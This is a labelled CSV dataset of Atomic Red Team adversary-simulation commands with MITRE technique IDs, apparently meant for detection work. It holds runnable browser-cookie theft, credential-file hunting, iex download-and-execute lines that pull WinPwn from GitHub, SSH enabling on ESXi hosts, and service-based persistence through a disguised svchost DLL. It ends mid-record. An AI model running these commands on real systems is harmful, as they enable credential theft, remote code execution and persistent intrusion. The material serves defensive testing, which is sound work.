d8244f49f974294b02d894a5,"stop-process -name ""chrome"" -force -erroraction silentlycontinue ""select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];"" | cmd /c #{sqlite3_path} ""#{cookie_db}"" | out-file -filepath ""#{output_file}""","stop-process -name ""chrome"" -force -erroraction silentlycontinue ""select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];"" | cmd /c #{sqlite3_path} ""#{cookie_db}"" | out-file -filepath ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Steal Chrome Cookies (Windows),T1539,"[""T1539""]",windows,0.9,False,"This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. 
Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. 
Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d87657dcdc29d99d27b19c4b,remove-item #{output_file},remove-item #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Steal Chrome Cookies (Windows),T1539,"[""T1539""]",windows,0.55,True,"This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. 
Once an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. 
Note: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. 
See https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c5ad839afe4d66c84e43baf,"killall 'Google Chrome' sleep 1 open -a ""/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/ sleep 1 /tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337","killall 'Google Chrome' sleep 1 open -a ""/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/ sleep 1 /tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Steal Chrome Cookies via Remote Debugging (Mac),T1539,"[""T1539""]",macos,0.9,False,"The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

If successful, this test will output a list of cookies.

Note: Chrome processes will be killed during this test.

See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
adf899d23fe0255a13b53ca2,rm -rf /tmp/WhiteChocolateMacademiaNut,rm -rf /tmp/WhiteChocolateMacademiaNut,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Steal Chrome Cookies via Remote Debugging (Mac),T1539,"[""T1539""]",macos,0.55,True,"The remote debugging functionality in Chrome can be used by malware for post-exploitation activities to obtain cookies without requiring keychain access. By initiating Chrome with a remote debug port, an attacker can sidestep encryption and employ Chrome's own mechanisms to access cookies.

If successful, this test will output a list of cookies.

Note: Chrome processes will be killed during this test.

See https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
80c2baae0cb14afa2dad6cdb,"osascript -e 'tell application ""Finder""' -e 'set destinationFolderPath to POSIX file ""#{destination_path}""' -e 'set safariFolder to ((path to library folder from user domain as text) & ""Containers:com.apple.Safari:Data:Library:Cookies:"")' -e 'duplicate file ""Cookies.binarycookies"" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'","osascript -e 'tell application ""Finder""' -e 'set destinationFolderPath to POSIX file ""#{destination_path}""' -e 'set safariFolder to ((path to library folder from user domain as text) & ""Containers:com.apple.Safari:Data:Library:Cookies:"")' -e 'duplicate file ""Cookies.binarycookies"" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Copy Safari BinaryCookies files using AppleScript,T1539,"[""T1539""]",macos,0.9,False,"This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc9806cb5347dff80b95ee0b,"rm ""#{destination_path}/Cookies.binarycookies""","rm ""#{destination_path}/Cookies.binarycookies""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1539/T1539.yaml,Copy Safari BinaryCookies files using AppleScript,T1539,"[""T1539""]",macos,0.55,True,"This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69c7749c0baa88920777374f,"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq ""TSM-SSH"" } | Start-VMHostService -Confirm:$false","Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq ""TSM-SSH"" } | Start-VMHostService -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.004/T1021.004.yaml,ESXi - Enable SSH via PowerCLI,T1021.004,"[""T1021.004""]",windows,0.9,False,"An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
01e63bce1a7190bcf3831dc5,"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq ""TSM-SSH"" } | Stop-VMHostService -Confirm:$false","Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq ""TSM-SSH"" } | Stop-VMHostService -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.004/T1021.004.yaml,ESXi - Enable SSH via PowerCLI,T1021.004,"[""T1021.004""]",windows,0.55,True,"An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7ee1e611e18dbd0c8f342068,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""vim-cmd hostsvc/enable_ssh""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""vim-cmd hostsvc/enable_ssh""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.004/T1021.004.yaml,ESXi - Enable SSH via VIM-CMD,T1021.004,"[""T1021.004""]",windows,0.9,False,"An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
93c24983326d5d4a5d202835,"echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""vim-cmd hostsvc/disable_ssh""","echo """" | ""#{plink_file}"" -batch ""#{vm_host}"" -ssh -l #{vm_user} -pw ""#{vm_pass}"" ""vim-cmd hostsvc/disable_ssh""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.004/T1021.004.yaml,ESXi - Enable SSH via VIM-CMD,T1021.004,"[""T1021.004""]",windows,0.55,True,"An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1477cde2de19ab8b6e511961,"find #{file_path}/.aws -name ""credentials"" -type f 2>/dev/null","find #{file_path}/.aws -name ""credentials"" -type f 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Find AWS credentials,T1552.001,"[""T1552.001""]","macos,linux",0.9,False,"Find local AWS credentials from file, defaults to using / as the look path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
befaab76cbe51a39b19c3040,python2 laZagne.py all,python2 laZagne.py all,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Extract Browser and System credentials with LaZagne,T1552.001,"[""T1552.001""]",macos,0.9,False,"[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
01e75df1741313fe747a9fdb,grep -ri password #{file_path} exit 0,grep -ri password #{file_path} exit 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Extract passwords with grep,T1552.001,"[""T1552.001""]","linux,macos",0.9,False,"Extracting credentials from files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
543e95ef5fcef362e4db8ee7,findstr /si pass *.xml *.doc *.txt *.xls ls -R | select-string -ErrorAction SilentlyContinue -Pattern password,findstr /si pass *.xml *.doc *.txt *.xls ls -R | select-string -ErrorAction SilentlyContinue -Pattern password,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Extracting passwords with findstr,T1552.001,"[""T1552.001""]",windows,0.9,False,"Extracting Credentials from Files. Upon execution, the contents of files that contain the word ""password"" will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18b30d7408be431f285af107,type C:\Windows\Panther\unattend.xml type C:\Windows\Panther\Unattend\unattend.xml,type C:\Windows\Panther\unattend.xml type C:\Windows\Panther\Unattend\unattend.xml,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Access unattend.xml,T1552.001,"[""T1552.001""]",windows,0.9,False,"Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ca0bb32fce1a97f3ac6eb52,for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done,for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Find and Access Github Credentials,T1552.001,"[""T1552.001""]","linux,macos",0.9,False,"This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e6680750f874cb34230d9d4,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sensitivefiles -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sensitivefiles -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,WinPwn - sensitivefiles,T1552.001,"[""T1552.001""]",windows,0.9,False,Search for sensitive files on this local system using the SensitiveFiles function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
615cb659c53e5fcfae67a2af,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Snaffler -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Snaffler -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,WinPwn - Snaffler,T1552.001,"[""T1552.001""]",windows,0.9,False,Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
51d9579f724987bd72949db5,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powershellsensitive -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powershellsensitive -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,WinPwn - powershellsensitive,T1552.001,"[""T1552.001""]",windows,0.9,False,Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b3b6aaae10b511f91935db28,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') passhunt -local $true -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') passhunt -local $true -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,WinPwn - passhunt,T1552.001,"[""T1552.001""]",windows,0.9,False,Search for Passwords on this system using passhunt via WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
27774e91d83e713a32704b94,rm -force .\passhunt.exe -ErrorAction Ignore rm -force .\phunter* -ErrorAction Ignore rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore,rm -force .\passhunt.exe -ErrorAction Ignore rm -force .\phunter* -ErrorAction Ignore rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,WinPwn - passhunt,T1552.001,"[""T1552.001""]",windows,0.55,True,Search for Passwords on this system using passhunt via WinPwn,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a214e44d2baee2216663f425,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sessionGopher -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') sessionGopher -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,WinPwn - SessionGopher,T1552.001,"[""T1552.001""]",windows,0.9,False,Launches SessionGopher on this system via WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
411585d2399d0d20310c7e66,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') SharpCloud -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') SharpCloud -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,"WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials",T1552.001,"[""T1552.001""]",windows,0.9,False,"Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c3501c9bf81b31e4508cb7a,$usernameinfo = (Get-ChildItem Env:USERNAME).Value Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\,$usernameinfo = (Get-ChildItem Env:USERNAME).Value Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,List Credential Files via PowerShell,T1552.001,"[""T1552.001""]",windows,0.9,False,"Via PowerShell,list files where credentials are stored in Windows Credential Manager
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9d36d7d535ab347c58a29a0,dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\,dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,List Credential Files via Command Prompt,T1552.001,"[""T1552.001""]",windows,0.9,False,"Via Command Prompt,list files where credentials are stored in Windows Credential Manager
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2d648e2505658bad3b0fe000,"find #{file_path}/.azure -name ""msal_token_cache.json"" -o -name ""accessTokens.json"" -type f 2>/dev/null","find #{file_path}/.azure -name ""msal_token_cache.json"" -o -name ""accessTokens.json"" -type f 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Find Azure credentials,T1552.001,"[""T1552.001""]","macos,linux",0.9,False,"Find local Azure credentials from file, defaults to using / as the look path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8d350ace7c9601f5c9df2a5,"find #{file_path}/.config/gcloud -name ""credentials.db"" -o -name ""access_tokens.db"" -type f 2>/dev/null","find #{file_path}/.config/gcloud -name ""credentials.db"" -o -name ""access_tokens.db"" -type f 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Find GCP credentials,T1552.001,"[""T1552.001""]","macos,linux",0.9,False,"Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e71e357517d6c47c01557aa,"find #{file_path}/.oci/sessions -name ""token"" -type f 2>/dev/null","find #{file_path}/.oci/sessions -name ""token"" -type f 2>/dev/null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.001/T1552.001.yaml,Find OCI credentials,T1552.001,"[""T1552.001""]","macos,linux",0.9,False,"Find local Oracle cloud credentials from file, defaults to using / as the look path.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13ab37e02780a24bf66c86d1,"which_python=`which python || which python3` $which_python -c ""import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();""","which_python=`which python || which python3` $which_python -c ""import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.002/T1560.002.yaml,Compressing data using GZip in Python (FreeBSD/Linux),T1560.002,"[""T1560.002""]",linux,0.9,False,"Uses GZip from Python to compress files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c177852dd4585b1590412ee0,rm #{path_to_output_file},rm #{path_to_output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.002/T1560.002.yaml,Compressing data using GZip in Python (FreeBSD/Linux),T1560.002,"[""T1560.002""]",linux,0.55,True,"Uses GZip from Python to compress files
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b90113f92273cd15e437aa3f,"which_python=`which python || which python3` $which_python -c ""import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();""","which_python=`which python || which python3` $which_python -c ""import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.002/T1560.002.yaml,Compressing data using bz2 in Python (FreeBSD/Linux),T1560.002,"[""T1560.002""]",linux,0.9,False,"Uses bz2 from Python to compress files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7f7ad60c8491325b9446a35,"which_python=`which python || which python3` $which_python -c ""from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')""","which_python=`which python || which python3` $which_python -c ""from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.002/T1560.002.yaml,Compressing data using zipfile in Python (FreeBSD/Linux),T1560.002,"[""T1560.002""]",linux,0.9,False,"Uses zipfile from Python to compress files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3552ff0a454638f14823011d,"which_python=`which python || which python3` $which_python -c ""import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()""","which_python=`which python || which python3` $which_python -c ""import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1560.002/T1560.002.yaml,Compressing data using tarfile in Python (FreeBSD/Linux),T1560.002,"[""T1560.002""]",linux,0.9,False,"Uses tarfile from Python to compress files
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
335bd5e2419f1947f7564fa5,"sc config #{service_name} binPath= ""C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \""write-host 'T1543.003 Test'\"""" sc start #{service_name}","sc config #{service_name} binPath= ""C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \""write-host 'T1543.003 Test'\"""" sc start #{service_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Modify Fax service to run PowerShell,T1543.003,"[""T1543.003""]",windows,0.9,False,"This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5587e6a9b6c899285cee5c5,"sc config #{service_name} binPath= ""#{service_binpath}"" >nul 2>&1","sc config #{service_name} binPath= ""#{service_binpath}"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Modify Fax service to run PowerShell,T1543.003,"[""T1543.003""]",windows,0.55,True,"This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb2eef9a0dabeb7e711c06f8,"sc.exe create #{service_name} binPath= ""#{binary_path}"" start=#{startup_type} type=#{service_type} sc.exe start #{service_name}","sc.exe create #{service_name} binPath= ""#{binary_path}"" start=#{startup_type} type=#{service_type} sc.exe start #{service_name}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Service Installation CMD,T1543.003,"[""T1543.003""]",windows,0.9,False,"Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9594e36a0b2e0bb55194fdd,sc.exe stop #{service_name} >nul 2>&1 sc.exe delete #{service_name} >nul 2>&1,sc.exe stop #{service_name} >nul 2>&1 sc.exe delete #{service_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Service Installation CMD,T1543.003,"[""T1543.003""]",windows,0.55,True,"Download an executable from github and start it as a service.
Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e20154a6e7df0192688486a,"New-Service -Name ""#{service_name}"" -BinaryPathName ""#{binary_path}"" Start-Service -Name ""#{service_name}""","New-Service -Name ""#{service_name}"" -BinaryPathName ""#{binary_path}"" Start-Service -Name ""#{service_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Service Installation PowerShell,T1543.003,"[""T1543.003""]",windows,0.9,False,"Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9a567f33e4a75cfe3a289c5b,"Stop-Service -Name ""#{service_name}"" 2>&1 | Out-Null try {(Get-WmiObject Win32_Service -filter ""name='#{service_name}'"").Delete()} catch {}","Stop-Service -Name ""#{service_name}"" 2>&1 | Out-Null try {(Get-WmiObject Win32_Service -filter ""name='#{service_name}'"").Delete()} catch {}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.003/T1543.003.yaml,Service Installation PowerShell,T1543.003,"[""T1543.003""]",windows,0.55,True,"Installs A Local Service via PowerShell.
Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9d0d6997f496a2b3851deb9,"copy ""#{dllfilename}"" %systemroot%\system32\ sc create W64Time binPath= ""c:\Windows\System32\svchost.exe -k TimeService"" type= share start=auto sc config W64Time DisplayName= ""Windows 64 Time"" sc description W64Time ""Maintain date and time synch on all clients and services in the network"" reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost"" /v TimeService /t REG_MULTI_SZ /d ""W64Time"" /f reg add ""HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters"" /v ServiceDll /t REG_EXPAND_SZ /d ""%systemroot%\system32\w64time.dll"" /f sc start W64Time","copy ""#{dllfilename}"" %systemroot%\system32\ sc create W64Time binPath= ""c:\Windows\System32\svchost.exe -k TimeService"" type= share start=auto sc config W64Time DisplayName= ""Windows 64 Time"" sc description W64Time ""Maintain date and time synch on all clients and services in the network"" reg add ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost"" /v TimeService /t REG_MULTI_SZ /d ""W64Time"" /f reg add 